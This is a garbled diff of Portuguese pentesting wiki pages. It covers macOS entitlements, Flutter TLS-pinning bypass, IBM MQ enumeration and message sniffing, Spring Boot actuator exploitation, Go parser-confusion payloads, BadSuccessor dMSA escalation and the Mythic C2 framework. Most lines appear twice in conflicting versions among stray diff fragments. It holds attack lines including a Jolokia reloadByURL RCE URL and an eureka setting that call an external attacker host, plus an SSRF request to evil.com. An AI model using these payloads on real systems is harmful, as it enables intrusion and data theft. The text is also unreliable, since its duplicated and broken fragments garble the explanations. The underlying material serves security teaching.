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Aplicativos com a Permissão de Ferramenta de Depuração podem chamar `task_for_pid()` para recuperar um port de tarefa válido para aplicativos não assinados e de terceiros com a permissão `Get Task Allow` definida como `true`. No entanto, mesmo com a permissão da ferramenta de depuração, um depurador **não pode obter os ports de tarefa** de processos que **não têm a permissão `Get Task Allow`**, e que, portanto, estão protegidos pela Proteção de Integridade do Sistema. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
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Aplicativos com a Permissão de Ferramenta de Depuração podem chamar `task_for_pid()` para recuperar uma porta de tarefa válida para aplicativos não assinados e de terceiros com a permissão `Get Task Allow` definida como `true`. No entanto, mesmo com a permissão da ferramenta de depuração, um depurador **não pode obter as portas de tarefa** de processos que **não têm a permissão `Get Task Allow`**, e que, portanto, estão protegidos pela Proteção de Integridade do Sistema. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
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### `com.apple.security.cs.disable-library-validation`
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Essa permissão permite **carregar frameworks, plug-ins ou bibliotecas sem serem assinados pela Apple ou assinados com o mesmo ID de Equipe** que o executável principal, então um atacante poderia abusar de algum carregamento arbitrário de biblioteca para injetar código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
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Esta permissão permite **carregar frameworks, plug-ins ou bibliotecas sem ser assinados pela Apple ou assinados com o mesmo ID de Equipe** que o executável principal, então um atacante poderia abusar de algum carregamento arbitrário de biblioteca para injetar código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
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### `com.apple.private.security.clear-library-validation`
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Essa permissão é muito semelhante à **`com.apple.security.cs.disable-library-validation`**, mas **em vez de** **desabilitar diretamente** a validação de bibliotecas, permite que o processo **chame uma chamada de sistema `csops` para desabilitá-la**.\
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Esta permissão é muito semelhante à **`com.apple.security.cs.disable-library-validation`**, mas **em vez** de **desabilitar diretamente** a validação de bibliotecas, permite que o processo **chame uma chamada de sistema `csops` para desabilitá-la**.\
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Confira [**isso para mais informações**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
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### `com.apple.security.cs.allow-dyld-environment-variables`
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Essa permissão permite **usar variáveis de ambiente DYLD** que poderiam ser usadas para injetar bibliotecas e código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
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Esta permissão permite **usar variáveis de ambiente DYLD** que poderiam ser usadas para injetar bibliotecas e código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
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### `com.apple.private.tcc.manager` ou `com.apple.rootless.storage`.`TCC`
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@ -62,7 +62,7 @@ Para mais **informações** sobre a exploração para **obter tokens do iCloud**
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### `com.apple.private.tcc.manager.check-by-audit-token`
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TODO: Eu não sei o que isso permite fazer
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TODO: Não sei o que isso permite fazer
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### `com.apple.private.apfs.revert-to-snapshot`
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@ -74,7 +74,7 @@ TODO: No [**este relatório**](https://jhftss.github.io/The-Nightmare-of-Apple-O
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### `keychain-access-groups`
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Essa permissão lista os grupos de **keychain** aos quais o aplicativo tem acesso:
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Esta permissão lista os grupos de **keychain** aos quais o aplicativo tem acesso:
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```xml
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<key>keychain-access-groups</key>
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<array>
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@ -163,3 +163,8 @@ Permitir que o processo **peça todas as permissões do TCC**.
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{{#include ../../../banners/hacktricks-training.md}}
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</details>
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{{#include /banners/hacktricks-training.md}}
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@ -3,7 +3,7 @@
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{{#include ../../banners/hacktricks-training.md}}
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# Flutter
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Flutter é o **kit de ferramentas de UI multiplataforma do Google** que permite aos desenvolvedores escrever uma única base de código em Dart, que o **Engine** (nativo em C/C++) transforma em código de máquina específico da plataforma para Android e iOS. O Engine agrupa um **Dart VM**, **BoringSSL**, Skia, etc., e é enviado como a biblioteca compartilhada **libflutter.so** (Android) ou **Flutter.framework** (iOS). Toda a rede real (DNS, sockets, TLS) acontece **dentro desta biblioteca**, *não* nas camadas usuais de Java/Kotlin Swift/Obj-C. Esse design isolado é a razão pela qual os ganchos de nível Java usuais falham em aplicativos Flutter.
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||||
Flutter é o **kit de ferramentas de UI multiplataforma do Google** que permite aos desenvolvedores escrever uma única base de código Dart que o **Engine** (nativo C/C++) transforma em código de máquina específico da plataforma para Android e iOS. O Engine agrupa um **Dart VM**, **BoringSSL**, Skia, etc., e é enviado como a biblioteca compartilhada **libflutter.so** (Android) ou **Flutter.framework** (iOS). Toda a rede real (DNS, sockets, TLS) acontece **dentro desta biblioteca**, *não* nas camadas usuais de Java/Kotlin Swift/Obj-C. Esse design isolado é a razão pela qual os ganchos de nível Java usuais falham em aplicativos Flutter.
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## Interceptando tráfego HTTPS no Flutter
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@ -14,7 +14,7 @@ Este é um resumo deste [blog post](https://sensepost.com/blog/2025/intercepting
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* **BoringSSL usa seu *próprio* repositório CA** dentro do libflutter.so; importar seu CA do Burp/ZAP para o repositório do sistema Android não muda nada.
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* Os símbolos no libflutter.so são **removidos e ofuscados**, ocultando a função de verificação de certificado de ferramentas dinâmicas.
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### Identificando a pilha exata do Flutter
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### Identifique a pilha exata do Flutter
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Saber a versão permite que você reconstrua ou faça correspondência de padrões com os binários corretos.
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Passo | Comando / Arquivo | Resultado
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@ -31,7 +31,7 @@ Encontre [get_snapshot_hash.py aqui](https://github.com/Impact-I/reFlutter/blob/
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* A mesma função existe em todas as arquiteturas de CPU; apenas os opcodes diferem.
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### Opção A – Patch binário com **reFlutter**
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1. **Clone** as fontes exatas do Engine e Dart para a versão do Flutter do aplicativo.
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1. **Clone** as fontes exatas do Engine e Dart para a versão Flutter do aplicativo.
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2. **Regex-patch** dois hotspots:
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* Em `ssl_x509.cc`, force `return 1;`
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* (Opcional) Em `socket_android.cc`, codifique um proxy (`"10.0.2.2:8080"`).
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@ -62,13 +62,16 @@ Desculpe, não posso ajudar com isso.
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frida -U -f com.example.app -l bypass.js
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```
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*Dicas de portabilidade*
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* Para **arm64-v8a** ou **armv7**, pegue os primeiros ~32 bytes da função do Ghidra, converta para uma string hex separada por espaços e substitua `sig`.
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* Para **arm64-v8a** ou **armv7**, pegue os primeiros ~32 bytes da função do Ghidra, converta para uma string hexadecimal separada por espaços e substitua `sig`.
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* Mantenha **um padrão por versão do Flutter**, armazene-os em uma folha de dicas para reutilização rápida.
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### Forçando tráfego através do seu proxy
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O Flutter **ignora as configurações de proxy do dispositivo**. Opções mais fáceis:
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* **Emulador do Android Studio:** Configurações ▶ Proxy → manual.
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* **Dispositivo físico:** AP Wi-Fi malicioso + spoofing de DNS, ou edição do módulo Magisk `/etc/hosts`.
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||||
* **Dispositivo físico:** AP Wi-Fi malicioso + spoofing de DNS, ou edição do módulo Magisk em `/etc/hosts`.
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## Referências
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- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
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{{#include /banners/hacktricks-training.md}}
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@ -6,7 +6,9 @@
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IBM MQ é uma tecnologia da IBM para gerenciar filas de mensagens. Como outras tecnologias de **message broker**, é dedicada a receber, armazenar, processar e classificar informações entre produtores e consumidores.
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Por padrão, **expõe a porta TCP 1414 do IBM MQ**. Às vezes, a API REST HTTP pode ser exposta na porta **9443**. Métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**.
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Por padrão, **expondo a porta TCP 1414 do IBM MQ**.
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Às vezes, a API REST HTTP pode ser exposta na porta **9443**.
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Métricas (Prometheus) também podem ser acessadas pela porta TCP **9157**.
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A porta TCP 1414 do IBM MQ pode ser usada para manipular mensagens, filas, canais, ... mas **também para controlar a instância**.
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@ -20,10 +22,10 @@ Para uma abordagem mais manual, use a biblioteca Python **[pymqi](https://github
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### Instalando pymqi
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**As dependências do IBM MQ** precisam ser instaladas e carregadas:
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As **dependências do IBM MQ** precisam ser instaladas e carregadas:
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1. Crie uma conta (IBMid) em [https://login.ibm.com/](https://login.ibm.com/).
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2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64, é **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
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2. Baixe as bibliotecas do IBM MQ em [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64 é **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
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3. Descompacte (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
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4. Execute `sudo ./mqlicense.sh` para aceitar os termos de licença.
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@ -31,10 +33,10 @@ Para uma abordagem mais manual, use a biblioteca Python **[pymqi](https://github
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>
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> ```bash
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> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
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||||
> then
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||||
> echo "ERROR: This package is incompatible with this system"
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> echo " This package was built for ${BUILD_PLATFORM}"
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> exit 1
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||||
> then
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||||
> echo "ERROR: This package is incompatible with this system"
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||||
> echo " This package was built for ${BUILD_PLATFORM}"
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||||
> exit 1
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||||
> fi
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||||
> ```
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||||
@ -44,9 +46,9 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
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sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
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sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
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||||
```
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6. Em seguida, adicione temporariamente os arquivos `.so` ao LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **antes** de executar outras ferramentas que utilizam essas dependências.
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||||
6. Em seguida, adicione temporariamente os arquivos `.so` ao LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **antes** de executar outras ferramentas usando essas dependências.
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Depois, você pode clonar o projeto [**pymqi**](https://github.com/dsuch/pymqi): ele contém trechos de código interessantes, constantes, ... Ou você pode instalar a biblioteca diretamente com: `pip install pymqi`.
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Então, você pode clonar o projeto [**pymqi**](https://github.com/dsuch/pymqi): ele contém trechos de código interessantes, constantes, ... Ou você pode instalar a biblioteca diretamente com: `pip install pymqi`.
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### Usando punch-q
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||||
@ -80,7 +82,7 @@ Queue Manager name: MYQUEUEMGR
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||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
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"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
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```
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||||
Acontece que algumas instâncias do IBM MQ aceitam solicitações MQ **não autenticadas**, então `--username / --password` não são necessários. Claro, os direitos de acesso também podem variar.
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||||
Acontece que algumas instâncias do IBM MQ aceitam requisições MQ **não autenticadas**, então `--username / --password` não são necessários. Claro, os direitos de acesso também podem variar.
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||||
Assim que obtivermos um nome de canal (aqui: `DEV.ADMIN.SVRCONN`), podemos enumerar todos os outros canais.
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@ -121,7 +123,7 @@ logging.info('Found channel `%s`' % channel_name)
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qmgr.disconnect()
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```
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||||
... Mas **punch-q** também incorpora essa parte (com mais informações!).
|
||||
... Mas **punch-q** também incorpora essa parte (com mais informações!).
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Pode ser iniciado com:
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||||
```bash
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||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
@ -145,7 +147,7 @@ Showing channels with prefix: "*"...
|
||||
```
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### Filas
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||||
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||||
Há um trecho de código com **pymqi** (`dis_queues.py`), mas **punch-q** permite recuperar mais informações sobre as filas:
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There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permite recuperar mais informações sobre as filas:
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||||
```bash
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||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||||
Showing queues with prefix: "*"...
|
||||
@ -171,7 +173,7 @@ Showing queues with prefix: "*"...
|
||||
|
||||
### Dump messages
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||||
|
||||
Você pode direcionar fila(s)/canal(is) para capturar / despejar mensagens delas (operação não destrutiva). _Exemplos:_
|
||||
Você pode direcionar fila(s)/canal(is) para espionar / despejar mensagens delas (operação não destrutiva). _Exemplos:_
|
||||
```bash
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||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
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||||
@ -245,7 +247,7 @@ Para perl:
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||||
```
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||||
### Custom PCF
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||||
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||||
Você pode consultar a documentação do IBM MQ e usar diretamente a biblioteca python **pymqi** para testar comandos PCF específicos que não estão implementados no **punch-q**.
|
||||
Você pode explorar a documentação do IBM MQ e usar diretamente a biblioteca python **pymqi** para testar comandos PCF específicos que não estão implementados no **punch-q**.
|
||||
|
||||
**Exemplo:**
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||||
```python
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||||
@ -275,7 +277,7 @@ else:
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||||
qmgr.disconnect()
|
||||
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||||
```
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||||
Se você não conseguir encontrar os nomes constantes, pode consultar a [documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
Se você não conseguir encontrar os nomes constantes, pode se referir à [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
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||||
|
||||
> _Exemplo para [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Ele precisa do parâmetro `MQCA_CLUSTER_NAME` (Decimal = 2029) que pode ser `_` (Doc: ):\*
|
||||
>
|
||||
@ -294,12 +296,12 @@ Se você não conseguir encontrar os nomes constantes, pode consultar a [documen
|
||||
> pcf = pymqi.PCFExecute(qmgr)
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||||
>
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||||
> try:
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||||
> args = {2029: "*"}
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||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
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||||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Error")
|
||||
> print("Error")
|
||||
> else:
|
||||
> print(response)
|
||||
> print(response)
|
||||
>
|
||||
> qmgr.disconnect()
|
||||
> ```
|
||||
@ -329,3 +331,5 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
- [mgeeky's gist - "Notas Práticas de Teste de Penetração do IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
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||||
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||||
{{#include /banners/hacktricks-training.md}}
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||||
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||||
@ -8,13 +8,13 @@
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||||
|
||||
**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
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||||
## Explorando Spring Boot Actuators
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||||
## Exploiting Spring Boot Actuators
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**Ver o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
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### **Pontos Chave:**
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- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões de 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.
|
||||
- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.
|
||||
- Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`.
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||||
- No Spring Boot 1.x, os actuators são registrados sob a URL raiz, enquanto no 2.x, eles estão sob o caminho base `/actuator/`.
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@ -23,7 +23,7 @@
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1. **Execução Remota de Código via '/jolokia'**:
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||||
- O endpoint do actuator `/jolokia` expõe a Biblioteca Jolokia, que permite acesso HTTP a MBeans.
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||||
- A ação `reloadByURL` pode ser explorada para recarregar configurações de log de uma URL externa, o que pode levar a XXE cego ou Execução Remota de Código via configurações XML manipuladas.
|
||||
- A ação `reloadByURL` pode ser explorada para recarregar configurações de log de uma URL externa, o que pode levar a XXE cega ou Execução Remota de Código via configurações XML manipuladas.
|
||||
- URL de exemplo para exploração: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modificação de Configuração via '/env'**:
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||||
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||||
@ -51,14 +51,19 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
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||||
### **Tópicos Relacionados:**
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||||
1. **Env + H2 RCE**:
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||||
- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Detalhes sobre a exploração da combinação do endpoint `/env` e banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
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||||
|
||||
2. **SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho**:
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||||
- O manuseio de parâmetros de matriz (`;`) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF).
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||||
- Exemplo de requisição de exploração:
|
||||
- Exemplo de requisição para exploração:
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||||
```http
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||||
GET ;@evil.com/url HTTP/1.1
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||||
Host: target.com
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||||
Connection: close
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||||
```
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||||
{{#include ../../banners/hacktricks-training.md}}
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||||
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||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -59,8 +59,8 @@ Permitir strings de usuário em `:is` pode montar componentes arbitrários ou te
|
||||
<component :is="userChoice"></component>
|
||||
<!-- userChoice = '<script>alert(1)</script>' -->
|
||||
```
|
||||
### Modelos não confiáveis em SSR
|
||||
Durante a renderização do lado do servidor, o modelo é executado **no seu servidor**; injetar HTML do usuário pode escalar XSS para execução remota de código completo (RCE). CVEs em `vue-template-compiler` provam o risco.
|
||||
### Templates não confiáveis em SSR
|
||||
Durante a renderização do lado do servidor, o template é executado **no seu servidor**; injetar HTML do usuário pode escalar XSS para uma execução remota de código (RCE) completa. CVEs em `vue-template-compiler` provam o risco.
|
||||
```js
|
||||
// DANGER – never do this
|
||||
const app = createSSRApp({ template: userProvidedHtml })
|
||||
@ -104,7 +104,7 @@ A construção completa do Vue precisa de `unsafe-eval`; mude para a construçã
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self';
|
||||
```
|
||||
### Ataques à cadeia de suprimentos (node-ipc – Março de 2022)
|
||||
O sabotagem do **node-ipc**—retirado pelo Vue CLI—mostrou como uma dependência transitiva pode executar código arbitrário em máquinas de desenvolvimento. Fixe versões e audite com frequência.
|
||||
O sabotagem do **node-ipc**—retirado pelo Vue CLI—mostrou como uma dependência transitiva pode executar código arbitrário em máquinas de desenvolvimento. Fixe versões e audite frequentemente.
|
||||
```shell
|
||||
npm ci --ignore-scripts # safer install
|
||||
```
|
||||
@ -112,12 +112,12 @@ npm ci --ignore-scripts # safer install
|
||||
|
||||
## Lista de Verificação de Fortalecimento
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||||
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||||
1. **Sanitizar** cada string antes de chegar a `v-html` (DOMPurify).
|
||||
2. **Lista branca** de esquemas, atributos, componentes e eventos permitidos.
|
||||
1. **Sanitizar** cada string antes de chegar ao `v-html` (DOMPurify).
|
||||
2. **Whitelist** esquemas, atributos, componentes e eventos permitidos.
|
||||
3. **Evitar `eval`** e templates dinâmicos completamente.
|
||||
4. **Corrigir dependências semanalmente** e monitorar avisos.
|
||||
4. **Atualizar dependências semanalmente** e monitorar avisos.
|
||||
5. **Enviar cabeçalhos HTTP fortes** (CSP, HSTS, XFO, CSRF).
|
||||
6. **Trancar sua cadeia de suprimentos** com auditorias, arquivos de bloqueio e commits assinados.
|
||||
6. **Trancar sua cadeia de suprimentos** com auditorias, lockfiles e commits assinados.
|
||||
|
||||
## Referências
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||||
|
||||
|
||||
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
128
src/pentesting-web/json-xml-yaml-hacking.md
Normal file
@ -0,0 +1,128 @@
|
||||
# JSON, XML & Yaml Hacking & Issues
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Go JSON Decoder
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||||
|
||||
Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em [**este post no blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||
|
||||
Os parsers de JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para **contornar a autenticação**, **escalar privilégios** ou **exfiltrar dados sensíveis**.
|
||||
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||||
### (Un)Marshaling Dados Inesperados
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||||
|
||||
O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, `IsAdmin`, `Password`).
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||||
|
||||
- Exemplo de Struct:
|
||||
```go
|
||||
type User struct {
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
- Vulnerabilidades Comuns
|
||||
|
||||
1. **Tag ausente** (sem tag = campo ainda é analisado por padrão):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
}
|
||||
```
|
||||
Carga útil:
|
||||
```json
|
||||
{"Username": "admin"}
|
||||
```
|
||||
2. **Uso incorreto de `-`**:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||||
}
|
||||
```
|
||||
Carga útil:
|
||||
```json
|
||||
{"-": true}
|
||||
```
|
||||
✔️ Maneira adequada de bloquear um campo de ser (des)serializado:
|
||||
```go
|
||||
type User struct {
|
||||
IsAdmin bool `json:"-"`
|
||||
}
|
||||
```
|
||||
### Diferenças de Parser
|
||||
|
||||
O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em:
|
||||
- CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas
|
||||
- 2022: RCE de 0 cliques do Zoom via inconsistência do parser XML
|
||||
- Contorno do SAML do GitLab 2025 via peculiaridades do XML
|
||||
|
||||
**1. Campos Duplicados:**
|
||||
O `encoding/json` do Go pega o **último** campo.
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
fmt.Println(req.Action) // AdminAction
|
||||
```
|
||||
Outros analisadores (por exemplo, Jackson do Java) podem levar o **primeiro**.
|
||||
|
||||
**2. Insensibilidade a Maiúsculas e Minúsculas:**
|
||||
Go é insensível a maiúsculas e minúsculas:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||||
// matches `Action` field
|
||||
```
|
||||
Até truques de Unicode funcionam:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Incompatibilidade entre serviços:**
|
||||
Imagine:
|
||||
- Proxy escrito em Go
|
||||
- Serviço de AuthZ escrito em Python
|
||||
|
||||
O atacante envia:
|
||||
```json
|
||||
{
|
||||
"action": "UserAction",
|
||||
"AcTiOn": "AdminAction"
|
||||
}
|
||||
```
|
||||
- Python vê `UserAction`, permite
|
||||
- Go vê `AdminAction`, executa
|
||||
|
||||
|
||||
### Confusão de Formato de Dados (Poliglotas)
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||||
|
||||
O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou falham abertamente em erros de parser, como:
|
||||
- **CVE-2020-16250**: HashiCorp Vault analisou JSON com um parser XML após o STS retornar JSON em vez de XML.
|
||||
|
||||
O atacante controla:
|
||||
- O cabeçalho `Accept: application/json`
|
||||
- Controle parcial do corpo JSON
|
||||
|
||||
O parser XML do Go analisou **de qualquer forma** e confiou na identidade injetada.
|
||||
|
||||
- Payload elaborado:
|
||||
```json
|
||||
{
|
||||
"action": "Action_1",
|
||||
"AcTiOn": "Action_2",
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Resultado:
|
||||
- **Go JSON** parser: `Action_2` (não sensível a maiúsculas + último vence)
|
||||
- **YAML** parser: `Action_1` (sensível a maiúsculas)
|
||||
- **XML** parser: analisa `"Action_3"` dentro da string
|
||||
|
||||
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||||
### 🔐 Mitigações
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||||
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||||
| Risco | Correção |
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|-----------------------------|---------------------------------------|
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| Campos desconhecidos | `decoder.DisallowUnknownFields()` |
|
||||
| Campos duplicados (JSON) | ❌ Sem correção na stdlib |
|
||||
| Correspondência não sensível a maiúsculas | ❌ Sem correção na stdlib |
|
||||
| Dados lixo em XML | ❌ Sem correção na stdlib |
|
||||
| YAML: chaves desconhecidas | `yaml.KnownFields(true)` |
|
||||
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||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -6,7 +6,7 @@
|
||||
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||||
Contas de Serviço Gerenciadas Delegadas (**dMSAs**) são um novo tipo de principal do AD introduzido com **Windows Server 2025**. Elas foram projetadas para substituir contas de serviço legadas, permitindo uma “migração” com um clique que copia automaticamente os Nomes de Principal de Serviço (SPNs), associações de grupo, configurações de delegação e até mesmo chaves criptográficas da conta antiga para a nova dMSA, proporcionando uma transição suave para as aplicações e eliminando o risco de Kerberoasting.
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||||
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||||
Pesquisadores da Akamai descobriram que um único atributo — **`msDS‑ManagedAccountPrecededByLink`** — informa ao KDC qual conta legada uma dMSA “sucede”. Se um atacante puder escrever esse atributo (e alternar **`msDS‑DelegatedMSAState` → 2**), o KDC construirá felizmente um PAC que **herda todos os SIDs da vítima escolhida**, permitindo efetivamente que a dMSA se passe por qualquer usuário, incluindo Administradores de Domínio.
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||||
Pesquisadores da Akamai descobriram que um único atributo — **`msDS‑ManagedAccountPrecededByLink`** — informa ao KDC qual conta legada uma dMSA “sucede”. Se um atacante puder escrever esse atributo (e alternar **`msDS‑DelegatedMSAState` → 2**), o KDC construirá um PAC que **herda todos os SIDs da vítima escolhida**, permitindo efetivamente que a dMSA se passe por qualquer usuário, incluindo Administradores de Domínio.
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||||
## O que exatamente é uma dMSA?
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@ -50,7 +50,7 @@ O PAC retornado agora contém o SID 500 (Administrador) além dos grupos Adminis
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||||
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||||
Durante migrações legítimas, o KDC deve permitir que a nova dMSA decifre **tickets emitidos para a conta antiga antes da transição**. Para evitar quebrar sessões ativas, ele coloca tanto as chaves atuais quanto as chaves anteriores dentro de um novo blob ASN.1 chamado **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
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Como nossa migração falsa afirma que a dMSA sucede a vítima, o KDC copia diligentemente a chave RC4‑HMAC da vítima para a lista de **chaves anteriores** – mesmo que a dMSA nunca tenha tido uma senha “anterior”. Essa chave RC4 não é salteada, portanto, é efetivamente o hash NT da vítima, dando ao atacante **capacidade de cracking offline ou “pass-the-hash”**.
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Como nossa migração falsa afirma que a dMSA sucede a vítima, o KDC copiosamente copia a chave RC4‑HMAC da vítima para a lista de **chaves anteriores** – mesmo que a dMSA nunca tenha tido uma senha “anterior”. Essa chave RC4 não é salteada, portanto, é efetivamente o hash NT da vítima, dando ao atacante **capacidade de cracking offline ou “pass-the-hash”**.
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Portanto, vincular em massa milhares de usuários permite que um atacante despeje hashes “em escala”, transformando **BadSuccessor em um primitivo de escalonamento de privilégios e comprometimento de credenciais**.
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@ -1,5 +1,7 @@
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# Mythic
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{{#include ../banners/hacktricks-training.md}}
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## O que é Mythic?
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Mythic é um framework de comando e controle (C2) modular e de código aberto, projetado para red teaming. Ele permite que profissionais de segurança gerenciem e implantem vários agentes (payloads) em diferentes sistemas operacionais, incluindo Windows, Linux e macOS. Mythic fornece uma interface web amigável para gerenciar agentes, executar comandos e coletar resultados, tornando-se uma ferramenta poderosa para simular ataques do mundo real em um ambiente controlado.
